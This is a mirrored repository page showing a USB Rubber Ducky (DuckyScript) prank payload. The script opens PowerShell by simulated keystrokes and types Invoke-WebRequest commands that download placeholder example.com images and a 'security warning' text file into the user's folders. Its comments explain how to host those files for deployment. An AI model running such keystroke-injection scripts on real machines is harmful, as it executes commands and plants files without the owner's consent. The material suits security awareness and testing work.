Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/PUBLIC-SERVICE-ANNOUNCEMENT/PSA.txt
2968 views
1
REM PUBLIC-SERVICE-ANNOUCEMENT
2
REM (or (EAS)ter-eggs)
3
REM By Lumen
4
REM Warns the user of the danger of ducks!
5
DEFINE EGG1 example.com/egg1.png
6
DEFINE EGG2 example.com/egg2.png
7
DEFINE EGG3 example.com/egg3.png
8
DEFINE EGG4 example.com/egg5.png
9
DEFINE TEXTFILE example.com/a_friendly_psa.txt
10
REM See below for how to configure these URLs
11
DELAY 500
12
GUI r
13
DELAY 300
14
STRING powershell
15
DELAY 300
16
ENTER
17
DELAY 600
18
STRING Invoke-WebRequest -Uri "
19
STRING TEXTFILE
20
STRING " -OutFile "~\Desktop\a_friendly_psa.txt"; Invoke-WebRequest -Uri "
21
STRING EGG1
22
STRING " -OutFile "~\Documents\egg1.png"; Invoke-WebRequest -Uri "
23
STRING EGG2
24
STRING " -OutFile "~\Pictures\egg2.png"; Invoke-WebRequest -Uri "
25
STRING EGG3
26
STRING " -OutFile "~\Documents\My Games\egg3.png"; Invoke-WebRequest -Uri "
27
STRING EGG4
28
STRING " -OutFile "~\Downloads\egg5.png"; & ~\Desktop\a_friendly_psa.txt
29
ENTER
30
REM This script makes heavy use of the Invoke-WebRequest command, which
31
REM gathers a webpage and optionally saves it
32
REM Here, we use it to give the user a nice warning about security :D
33
REM This script hides 4 eggs, gives a little warning, and may
34
REM or may not send them on a quest for a mythical 5th egg ¯\_(ツ)_/¯
35
REM These statements can be removed to save on space, and the links above
36
REM can be changed to short links to save on typing time
37
38
REM To set up the URLs for deployment, use a file share service to host
39
REM the 4 images and text files that come with this payload.
40
REM Any file share can be used as long as it offers a link
41
REM directly to the file that can be saved or downloaded
42
REM (for example, a dropbox link with ?dl=1 at the end)
43
44